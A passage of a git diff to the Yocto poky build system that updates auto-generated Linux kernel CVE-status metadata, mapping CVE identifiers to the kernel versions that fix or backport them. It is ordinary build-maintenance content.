-CVE_STATUS[CVE-2022-48502] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2023-0030] = "fixed-version: Fixed from version 5.0rc1"
-
-CVE_STATUS[CVE-2023-0045] = "fixed-version: Fixed from version 6.2rc3"
-
-CVE_STATUS[CVE-2023-0047] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2023-0122] = "fixed-version: Fixed from version 6.0rc4"
-
-CVE_STATUS[CVE-2023-0160] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-0179] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2023-0210] = "fixed-version: Fixed from version 6.2rc4"
-
-CVE_STATUS[CVE-2023-0240] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2023-0266] = "fixed-version: Fixed from version 6.2rc4"
-
-CVE_STATUS[CVE-2023-0386] = "fixed-version: Fixed from version 6.2rc6"
-
-CVE_STATUS[CVE-2023-0394] = "fixed-version: Fixed from version 6.2rc4"
-
-CVE_STATUS[CVE-2023-0458] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2023-0459] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-0461] = "fixed-version: Fixed from version 6.2rc3"
-
-CVE_STATUS[CVE-2023-0468] = "fixed-version: Fixed from version 6.1rc7"
-
-CVE_STATUS[CVE-2023-0469] = "fixed-version: Fixed from version 6.1rc7"
-
-CVE_STATUS[CVE-2023-0590] = "fixed-version: Fixed from version 6.1rc2"
-
-CVE_STATUS[CVE-2023-0597] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2023-0615] = "fixed-version: Fixed from version 6.1rc3"
-
-CVE_STATUS[CVE-2023-1032] = "fixed-version: Fixed from version 6.3rc2"
-
-CVE_STATUS[CVE-2023-1073] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2023-1074] = "fixed-version: Fixed from version 6.2rc6"
-
-CVE_STATUS[CVE-2023-1075] = "fixed-version: Fixed from version 6.2rc7"
-
-CVE_STATUS[CVE-2023-1076] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-1077] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-1078] = "fixed-version: Fixed from version 6.2rc8"
-
-CVE_STATUS[CVE-2023-1079] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-1095] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2023-1118] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-1192] = "fixed-version: Fixed from version 6.4rc1"
-
-# CVE-2023-1193 has no known resolution
-
-CVE_STATUS[CVE-2023-1194] = "fixed-version: Fixed from version 6.4rc6"
-
-CVE_STATUS[CVE-2023-1195] = "fixed-version: Fixed from version 6.1rc3"
-
-CVE_STATUS[CVE-2023-1206] = "cpe-stable-backport: Backported in 6.4.8"
-
-CVE_STATUS[CVE-2023-1249] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2023-1252] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2023-1281] = "fixed-version: Fixed from version 6.2"
-
-CVE_STATUS[CVE-2023-1295] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2023-1380] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-1382] = "fixed-version: Fixed from version 6.1rc7"
-
-CVE_STATUS[CVE-2023-1390] = "fixed-version: Fixed from version 5.11rc4"
-
-CVE_STATUS[CVE-2023-1513] = "fixed-version: Fixed from version 6.2"
-
-CVE_STATUS[CVE-2023-1582] = "fixed-version: Fixed from version 5.17rc4"
-
-CVE_STATUS[CVE-2023-1583] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-1611] = "fixed-version: Fixed from version 6.3rc5"
-
-CVE_STATUS[CVE-2023-1637] = "fixed-version: Fixed from version 5.18rc2"
-
-CVE_STATUS[CVE-2023-1652] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2023-1670] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-1829] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-1838] = "fixed-version: Fixed from version 5.18"
-
-CVE_STATUS[CVE-2023-1855] = "fixed-version: Fixed from version 6.3rc3"
-
-CVE_STATUS[CVE-2023-1859] = "fixed-version: Fixed from version 6.3rc7"
-
-CVE_STATUS[CVE-2023-1872] = "fixed-version: Fixed from version 5.18rc2"
-
-CVE_STATUS[CVE-2023-1989] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-1990] = "fixed-version: Fixed from version 6.3rc3"
-
-CVE_STATUS[CVE-2023-1998] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-2002] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-2006] = "fixed-version: Fixed from version 6.1rc7"
-
-CVE_STATUS[CVE-2023-2007] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2023-2008] = "fixed-version: Fixed from version 5.19rc4"
-
-CVE_STATUS[CVE-2023-2019] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2023-20569] = "cpe-stable-backport: Backported in 6.4.9"
-
-CVE_STATUS[CVE-2023-20588] = "cpe-stable-backport: Backported in 6.4.10"
-
-CVE_STATUS[CVE-2023-20593] = "cpe-stable-backport: Backported in 6.4.6"
-
-CVE_STATUS[CVE-2023-20928] = "fixed-version: Fixed from version 6.0rc1"
-
-# CVE-2023-20937 has no known resolution
-
-CVE_STATUS[CVE-2023-20938] = "fixed-version: Fixed from version 5.18rc5"
-
-# CVE-2023-20941 has no known resolution
-
-CVE_STATUS[CVE-2023-21102] = "fixed-version: Fixed from version 6.2rc4"
-
-CVE_STATUS[CVE-2023-21106] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2023-2124] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-21255] = "fixed-version: Fixed from version 6.4rc4"
-
-CVE_STATUS[CVE-2023-21264] = "fixed-version: Fixed from version 6.4rc5"
-
-# CVE-2023-21400 has no known resolution
-
-CVE_STATUS[CVE-2023-2156] = "fixed-version: Fixed from version 6.3"
-
-CVE_STATUS[CVE-2023-2162] = "fixed-version: Fixed from version 6.2rc6"
-
-CVE_STATUS[CVE-2023-2163] = "fixed-version: Fixed from version 6.3"
-
-CVE_STATUS[CVE-2023-2166] = "fixed-version: Fixed from version 6.1"
-
-CVE_STATUS[CVE-2023-2176] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-2177] = "fixed-version: Fixed from version 5.19"
-
-CVE_STATUS[CVE-2023-2194] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-2235] = "fixed-version: Fixed from version 6.3rc3"
-
-CVE_STATUS[CVE-2023-2236] = "fixed-version: Fixed from version 6.1rc7"
-
-CVE_STATUS[CVE-2023-2248] = "fixed-version: Fixed from version 6.3"
-
-CVE_STATUS[CVE-2023-2269] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-22995] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2023-22996] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2023-22997] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2023-22998] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2023-22999] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2023-23000] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2023-23001] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2023-23002] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2023-23003] = "fixed-version: Fixed from version 5.16rc6"
-
-CVE_STATUS[CVE-2023-23004] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2023-23005] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2023-23006] = "fixed-version: Fixed from version 5.16rc8"
-
-# CVE-2023-23039 has no known resolution
-
-CVE_STATUS[CVE-2023-23454] = "fixed-version: Fixed from version 6.2rc3"
-
-CVE_STATUS[CVE-2023-23455] = "fixed-version: Fixed from version 6.2rc3"
-
-CVE_STATUS[CVE-2023-23559] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2023-23586] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2023-2430] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2023-2483] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-25012] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-2513] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2023-25775] = "cpe-stable-backport: Backported in 6.4.16"
-
-CVE_STATUS[CVE-2023-2598] = "fixed-version: Fixed from version 6.4rc1"
-
-# CVE-2023-26242 has no known resolution
-
-# CVE-2023-2640 has no known resolution
-
-CVE_STATUS[CVE-2023-26544] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2023-26545] = "fixed-version: Fixed from version 6.2"
-
-CVE_STATUS[CVE-2023-26605] = "fixed-version: Fixed from version 6.1rc7"
-
-CVE_STATUS[CVE-2023-26606] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2023-26607] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2023-28327] = "fixed-version: Fixed from version 6.1"
-
-CVE_STATUS[CVE-2023-28328] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2023-28410] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2023-28464] = "fixed-version: Fixed from version 6.3rc7"
-
-CVE_STATUS[CVE-2023-28466] = "fixed-version: Fixed from version 6.3rc2"
-
-CVE_STATUS[CVE-2023-2860] = "fixed-version: Fixed from version 6.0rc5"
-
-CVE_STATUS[CVE-2023-28772] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2023-28866] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-2898] = "cpe-stable-backport: Backported in 6.4.4"
-
-CVE_STATUS[CVE-2023-2985] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-3006] = "fixed-version: Fixed from version 6.1rc1"
-
-# Skipping CVE-2023-3022, no affected_versions
-
-CVE_STATUS[CVE-2023-30456] = "fixed-version: Fixed from version 6.3rc3"
-
-CVE_STATUS[CVE-2023-30772] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-3090] = "fixed-version: Fixed from version 6.4rc2"
-
-CVE_STATUS[CVE-2023-3106] = "fixed-version: Fixed from version 4.8rc7"
-
-# Skipping CVE-2023-3108, no affected_versions
-
-# CVE-2023-31081 has no known resolution
-
-# CVE-2023-31082 has no known resolution
-
-# CVE-2023-31083 needs backporting (fixed from 6.6rc1)
-
-CVE_STATUS[CVE-2023-31084] = "fixed-version: Fixed from version 6.4rc3"
-
-# CVE-2023-31085 has no known resolution
-
-CVE_STATUS[CVE-2023-3111] = "fixed-version: Fixed from version 6.0rc2"
-
-CVE_STATUS[CVE-2023-3117] = "fixed-version: Fixed from version 6.4rc7"
-
-CVE_STATUS[CVE-2023-31248] = "cpe-stable-backport: Backported in 6.4.4"
-
-CVE_STATUS[CVE-2023-3141] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-31436] = "fixed-version: Fixed from version 6.3"
-
-CVE_STATUS[CVE-2023-3159] = "fixed-version: Fixed from version 5.18rc6"
-
-CVE_STATUS[CVE-2023-3161] = "fixed-version: Fixed from version 6.2rc7"
-
-CVE_STATUS[CVE-2023-3212] = "fixed-version: Fixed from version 6.4rc2"
-
-CVE_STATUS[CVE-2023-3220] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-32233] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-32247] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-32248] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-32250] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-32252] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-32254] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-32257] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-32258] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-32269] = "fixed-version: Fixed from version 6.2rc7"
-
-# CVE-2023-32629 has no known resolution
-
-CVE_STATUS[CVE-2023-3268] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-3269] = "cpe-stable-backport: Backported in 6.4.1"
-
-CVE_STATUS[CVE-2023-3312] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-3317] = "fixed-version: Fixed from version 6.3rc6"
-
-CVE_STATUS[CVE-2023-33203] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-33250] = "cpe-stable-backport: Backported in 6.4.4"
-
-CVE_STATUS[CVE-2023-33288] = "fixed-version: Fixed from version 6.3rc4"
-
-CVE_STATUS[CVE-2023-3338] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2023-3355] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-3357] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2023-3358] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2023-3359] = "fixed-version: Fixed from version 6.2rc7"
-
-CVE_STATUS[CVE-2023-3389] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2023-3390] = "fixed-version: Fixed from version 6.4rc7"
-
-CVE_STATUS[CVE-2023-33951] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-33952] = "fixed-version: Fixed from version 6.4rc1"
-
-# CVE-2023-3397 has no known resolution
-
-CVE_STATUS[CVE-2023-34255] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-34256] = "fixed-version: Fixed from version 6.4rc2"
-
-CVE_STATUS[CVE-2023-34319] = "cpe-stable-backport: Backported in 6.4.9"
-
-CVE_STATUS[CVE-2023-3439] = "fixed-version: Fixed from version 5.18rc5"
-
-CVE_STATUS[CVE-2023-35001] = "cpe-stable-backport: Backported in 6.4.4"
-
-CVE_STATUS[CVE-2023-3567] = "fixed-version: Fixed from version 6.2rc7"
-
-# CVE-2023-35693 has no known resolution
-
-CVE_STATUS[CVE-2023-35788] = "fixed-version: Fixed from version 6.4rc5"
-
-CVE_STATUS[CVE-2023-35823] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-35824] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-35826] = "fixed-version: Fixed from version 6.4rc1"
-
-# CVE-2023-35827 has no known resolution
-
-CVE_STATUS[CVE-2023-35828] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-35829] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2023-3609] = "fixed-version: Fixed from version 6.4rc7"
-
-CVE_STATUS[CVE-2023-3610] = "fixed-version: Fixed from version 6.4"
-
-CVE_STATUS[CVE-2023-3611] = "cpe-stable-backport: Backported in 6.4.5"
-
-# CVE-2023-3640 has no known resolution
-
-CVE_STATUS[CVE-2023-37453] = "cpe-stable-backport: Backported in 6.4.16"
-
-# CVE-2023-37454 has no known resolution
-
-CVE_STATUS[CVE-2023-3772] = "cpe-stable-backport: Backported in 6.4.12"
-
-CVE_STATUS[CVE-2023-3773] = "cpe-stable-backport: Backported in 6.4.12"
-
-CVE_STATUS[CVE-2023-3776] = "cpe-stable-backport: Backported in 6.4.5"
-
-CVE_STATUS[CVE-2023-3777] = "cpe-stable-backport: Backported in 6.4.7"
-
-CVE_STATUS[CVE-2023-3812] = "fixed-version: Fixed from version 6.1rc4"
-
-CVE_STATUS[CVE-2023-38409] = "fixed-version: Fixed from version 6.3rc7"
-
-CVE_STATUS[CVE-2023-38426] = "fixed-version: Fixed from version 6.4rc3"
-
-CVE_STATUS[CVE-2023-38427] = "fixed-version: Fixed from version 6.4rc6"
-
-CVE_STATUS[CVE-2023-38428] = "fixed-version: Fixed from version 6.4rc3"
-
-CVE_STATUS[CVE-2023-38429] = "fixed-version: Fixed from version 6.4rc3"
-
-CVE_STATUS[CVE-2023-38430] = "fixed-version: Fixed from version 6.4rc6"
-
-CVE_STATUS[CVE-2023-38431] = "fixed-version: Fixed from version 6.4rc6"
-
-CVE_STATUS[CVE-2023-38432] = "fixed-version: Fixed from version 6.4"
-
-CVE_STATUS[CVE-2023-3863] = "cpe-stable-backport: Backported in 6.4.4"
-
-CVE_STATUS[CVE-2023-3865] = "fixed-version: Fixed from version 6.4"
-
-CVE_STATUS[CVE-2023-3866] = "fixed-version: Fixed from version 6.4"
-
-CVE_STATUS[CVE-2023-3867] = "cpe-stable-backport: Backported in 6.4.5"
-
-CVE_STATUS[CVE-2023-4004] = "cpe-stable-backport: Backported in 6.4.7"
-
-# CVE-2023-4010 has no known resolution
-
-CVE_STATUS[CVE-2023-4015] = "cpe-stable-backport: Backported in 6.4.8"
-
-CVE_STATUS[CVE-2023-40283] = "cpe-stable-backport: Backported in 6.4.10"
-
-CVE_STATUS[CVE-2023-4128] = "cpe-stable-backport: Backported in 6.4.10"
-
-CVE_STATUS[CVE-2023-4132] = "cpe-stable-backport: Backported in 6.4.4"
-
-CVE_STATUS[CVE-2023-4133] = "fixed-version: Fixed from version 6.3"
-
-CVE_STATUS[CVE-2023-4134] = "cpe-stable-backport: Backported in 6.4.4"
-
-CVE_STATUS[CVE-2023-4147] = "cpe-stable-backport: Backported in 6.4.8"
-
-CVE_STATUS[CVE-2023-4155] = "cpe-stable-backport: Backported in 6.4.11"
-
-CVE_STATUS[CVE-2023-4194] = "cpe-stable-backport: Backported in 6.4.10"
-
-CVE_STATUS[CVE-2023-4206] = "cpe-stable-backport: Backported in 6.4.10"
-
-CVE_STATUS[CVE-2023-4207] = "cpe-stable-backport: Backported in 6.4.10"
-
-CVE_STATUS[CVE-2023-4208] = "cpe-stable-backport: Backported in 6.4.10"
-
-CVE_STATUS[CVE-2023-4244] = "cpe-stable-backport: Backported in 6.4.12"
-
-CVE_STATUS[CVE-2023-4273] = "cpe-stable-backport: Backported in 6.4.10"
-
-CVE_STATUS[CVE-2023-42752] = "cpe-stable-backport: Backported in 6.4.16"
-
-CVE_STATUS[CVE-2023-42753] = "cpe-stable-backport: Backported in 6.4.16"
-
-CVE_STATUS[CVE-2023-42755] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2023-4385] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2023-4387] = "fixed-version: Fixed from version 5.18"
-
-CVE_STATUS[CVE-2023-4389] = "fixed-version: Fixed from version 5.18rc3"
-
-CVE_STATUS[CVE-2023-4394] = "fixed-version: Fixed from version 6.0rc3"
-
-CVE_STATUS[CVE-2023-4459] = "fixed-version: Fixed from version 5.18"
-
-CVE_STATUS[CVE-2023-4563] = "cpe-stable-backport: Backported in 6.4.11"
-
-CVE_STATUS[CVE-2023-4569] = "cpe-stable-backport: Backported in 6.4.12"
-
-CVE_STATUS[CVE-2023-4611] = "cpe-stable-backport: Backported in 6.4.8"
-
-# CVE-2023-4622 needs backporting (fixed from 6.5rc1)
-
-CVE_STATUS[CVE-2023-4623] = "cpe-stable-backport: Backported in 6.4.16"
-
-# CVE-2023-4881 needs backporting (fixed from 6.6rc1)
-
-# CVE-2023-4921 needs backporting (fixed from 6.6rc1)
-
-# CVE-2023-5158 has no known resolution
-
-# CVE-2023-5197 needs backporting (fixed from 6.6rc3)
-
diff --git a/poky/meta/recipes-kernel/linux/cve-exclusion_6.5.inc b/poky/meta/recipes-kernel/linux/cve-exclusion_6.5.inc
index c88b6f7c59..b4086d436c 100644
--- a/poky/meta/recipes-kernel/linux/cve-exclusion_6.5.inc
+++ b/poky/meta/recipes-kernel/linux/cve-exclusion_6.5.inc
@@ -1,9 +1,9 @@
# Auto-generated CVE metadata, DO NOT EDIT BY HAND.
-# Generated at 2023-09-29 00:20:42.494116+00:00 for version 6.5.5
+# Generated at 2023-11-09 17:13:01.267965+00:00 for version 6.5.10
python check_kernel_cve_status_version() {
- this_version = "6.5.5"
+ this_version = "6.5.10"
kernel_version = d.getVar("LINUX_VERSION")
if kernel_version != this_version:
bb.warn("Kernel CVE status needs updating: generated for %s but kernel is %s" % (this_version, kernel_version))
@@ -3354,7 +3354,7 @@ CVE_STATUS[CVE-2020-27194] = "fixed-version: Fixed from version 5.9"
CVE_STATUS[CVE-2020-2732] = "fixed-version: Fixed from version 5.6rc4"
-# CVE-2020-27418 has no known resolution
+CVE_STATUS[CVE-2020-27418] = "fixed-version: Fixed from version 5.6rc5"
CVE_STATUS[CVE-2020-27673] = "fixed-version: Fixed from version 5.10rc1"
@@ -4644,7 +4644,7 @@ CVE_STATUS[CVE-2023-1118] = "fixed-version: Fixed from version 6.3rc1"
CVE_STATUS[CVE-2023-1192] = "fixed-version: Fixed from version 6.4rc1"
-# CVE-2023-1193 has no known resolution
+CVE_STATUS[CVE-2023-1193] = "fixed-version: Fixed from version 6.3rc6"
CVE_STATUS[CVE-2023-1194] = "fixed-version: Fixed from version 6.4rc6"
@@ -4796,7 +4796,7 @@ CVE_STATUS[CVE-2023-25012] = "fixed-version: Fixed from version 6.3rc1"
CVE_STATUS[CVE-2023-2513] = "fixed-version: Fixed from version 6.0rc1"
-# CVE-2023-25775 needs backporting (fixed from 6.6rc1)
+CVE_STATUS[CVE-2023-25775] = "cpe-stable-backport: Backported in 6.5.3"
CVE_STATUS[CVE-2023-2598] = "fixed-version: Fixed from version 6.4rc1"
@@ -4856,7 +4856,7 @@ CVE_STATUS[CVE-2023-3106] = "fixed-version: Fixed from version 4.8rc7"
CVE_STATUS[CVE-2023-31084] = "fixed-version: Fixed from version 6.4rc3"
-# CVE-2023-31085 has no known resolution
+CVE_STATUS[CVE-2023-31085] = "cpe-stable-backport: Backported in 6.5.7"
CVE_STATUS[CVE-2023-3111] = "fixed-version: Fixed from version 6.0rc2"
@@ -4936,6 +4936,8 @@ CVE_STATUS[CVE-2023-34256] = "fixed-version: Fixed from version 6.4rc2"
CVE_STATUS[CVE-2023-34319] = "fixed-version: Fixed from version 6.5rc6"
+CVE_STATUS[CVE-2023-34324] = "cpe-stable-backport: Backported in 6.5.7"
+
CVE_STATUS[CVE-2023-3439] = "fixed-version: Fixed from version 5.18rc5"
CVE_STATUS[CVE-2023-35001] = "fixed-version: Fixed from version 6.5rc2"
@@ -4952,7 +4954,7 @@ CVE_STATUS[CVE-2023-35824] = "fixed-version: Fixed from version 6.4rc1"
CVE_STATUS[CVE-2023-35826] = "fixed-version: Fixed from version 6.4rc1"
-# CVE-2023-35827 has no known resolution
+CVE_STATUS[CVE-2023-35827] = "cpe-stable-backport: Backported in 6.5.8"
CVE_STATUS[CVE-2023-35828] = "fixed-version: Fixed from version 6.4rc1"
@@ -4966,7 +4968,7 @@ CVE_STATUS[CVE-2023-3611] = "fixed-version: Fixed from version 6.5rc2"
# CVE-2023-3640 has no known resolution
-# CVE-2023-37453 needs backporting (fixed from 6.6rc1)
+CVE_STATUS[CVE-2023-37453] = "cpe-stable-backport: Backported in 6.5.3"
# CVE-2023-37454 has no known resolution
@@ -5004,6 +5006,16 @@ CVE_STATUS[CVE-2023-3866] = "fixed-version: Fixed from version 6.4"
CVE_STATUS[CVE-2023-3867] = "fixed-version: Fixed from version 6.5rc1"
+CVE_STATUS[CVE-2023-39189] = "cpe-stable-backport: Backported in 6.5.4"
+
+CVE_STATUS[CVE-2023-39191] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-39192] = "cpe-stable-backport: Backported in 6.5.3"
+
+CVE_STATUS[CVE-2023-39193] = "cpe-stable-backport: Backported in 6.5.3"
+
+CVE_STATUS[CVE-2023-39194] = "fixed-version: Fixed from version 6.5rc7"
+
CVE_STATUS[CVE-2023-4004] = "fixed-version: Fixed from version 6.5rc3"
# CVE-2023-4010 has no known resolution
@@ -5012,6 +5024,8 @@ CVE_STATUS[CVE-2023-4015] = "fixed-version: Fixed from version 6.5rc4"
CVE_STATUS[CVE-2023-40283] = "fixed-version: Fixed from version 6.5rc1"
+CVE_STATUS[CVE-2023-40791] = "fixed-version: Fixed from version 6.5rc6"
+
CVE_STATUS[CVE-2023-4128] = "fixed-version: Fixed from version 6.5rc5"
CVE_STATUS[CVE-2023-4132] = "fixed-version: Fixed from version 6.5rc1"
@@ -5036,12 +5050,16 @@ CVE_STATUS[CVE-2023-4244] = "fixed-version: Fixed from version 6.5rc7"
CVE_STATUS[CVE-2023-4273] = "fixed-version: Fixed from version 6.5rc5"
-# CVE-2023-42752 needs backporting (fixed from 6.6rc1)
+CVE_STATUS[CVE-2023-42752] = "cpe-stable-backport: Backported in 6.5.3"
+
+CVE_STATUS[CVE-2023-42753] = "cpe-stable-backport: Backported in 6.5.3"
-# CVE-2023-42753 needs backporting (fixed from 6.6rc1)
+CVE_STATUS[CVE-2023-42754] = "cpe-stable-backport: Backported in 6.5.6"
CVE_STATUS[CVE-2023-42755] = "fixed-version: Fixed from version 6.3rc1"
+CVE_STATUS[CVE-2023-42756] = "cpe-stable-backport: Backported in 6.5.6"
+
CVE_STATUS[CVE-2023-4385] = "fixed-version: Fixed from version 5.19rc1"
CVE_STATUS[CVE-2023-4387] = "fixed-version: Fixed from version 5.18"
@@ -5050,23 +5068,53 @@ CVE_STATUS[CVE-2023-4389] = "fixed-version: Fixed from version 5.18rc3"
CVE_STATUS[CVE-2023-4394] = "fixed-version: Fixed from version 6.0rc3"
+CVE_STATUS[CVE-2023-44466] = "fixed-version: Fixed from version 6.5rc2"
+
CVE_STATUS[CVE-2023-4459] = "fixed-version: Fixed from version 5.18"
CVE_STATUS[CVE-2023-4563] = "fixed-version: Fixed from version 6.5rc6"
CVE_STATUS[CVE-2023-4569] = "fixed-version: Fixed from version 6.5rc7"
+CVE_STATUS[CVE-2023-45862] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-45863] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-45871] = "cpe-stable-backport: Backported in 6.5.3"
+
+CVE_STATUS[CVE-2023-45898] = "cpe-stable-backport: Backported in 6.5.4"
+
+CVE_STATUS[CVE-2023-4610] = "fixed-version: Fixed from version 6.4"
+
CVE_STATUS[CVE-2023-4611] = "fixed-version: Fixed from version 6.5rc4"
CVE_STATUS[CVE-2023-4622] = "fixed-version: Fixed from version 6.5rc1"
-# CVE-2023-4623 needs backporting (fixed from 6.6rc1)
+CVE_STATUS[CVE-2023-4623] = "cpe-stable-backport: Backported in 6.5.3"
+
+CVE_STATUS[CVE-2023-46813] = "cpe-stable-backport: Backported in 6.5.9"
+
+CVE_STATUS[CVE-2023-46862] = "cpe-stable-backport: Backported in 6.5.10"
+
+# CVE-2023-47233 has no known resolution
+
+CVE_STATUS[CVE-2023-4732] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2023-4881] = "cpe-stable-backport: Backported in 6.5.4"
+
+CVE_STATUS[CVE-2023-4921] = "cpe-stable-backport: Backported in 6.5.4"
+
+CVE_STATUS[CVE-2023-5090] = "cpe-stable-backport: Backported in 6.5.9"
+
+CVE_STATUS[CVE-2023-5158] = "cpe-stable-backport: Backported in 6.5.7"
+
+CVE_STATUS[CVE-2023-5178] = "cpe-stable-backport: Backported in 6.5.9"
-# CVE-2023-4881 needs backporting (fixed from 6.6rc1)
+CVE_STATUS[CVE-2023-5197] = "cpe-stable-backport: Backported in 6.5.6"
-# CVE-2023-4921 needs backporting (fixed from 6.6rc1)
+CVE_STATUS[CVE-2023-5345] = "cpe-stable-backport: Backported in 6.5.6"
-# CVE-2023-5158 has no known resolution
+CVE_STATUS[CVE-2023-5633] = "cpe-stable-backport: Backported in 6.5.8"
-# CVE-2023-5197 needs backporting (fixed from 6.6rc3)
+CVE_STATUS[CVE-2023-5717] = "cpe-stable-backport: Backported in 6.5.9"
diff --git a/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.1.bb b/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.1.bb
index fd04c4c17a..6a92171f12 100644
--- a/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.1.bb
+++ b/poky/meta/recipes-kernel/linux/linux-yocto-rt_6.1.bb
@@ -14,13 +14,13 @@ python () {
raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
}
-SRCREV_machine ?= "4b3040c1dc13aaac356ad4ef45a8926118c732d0"
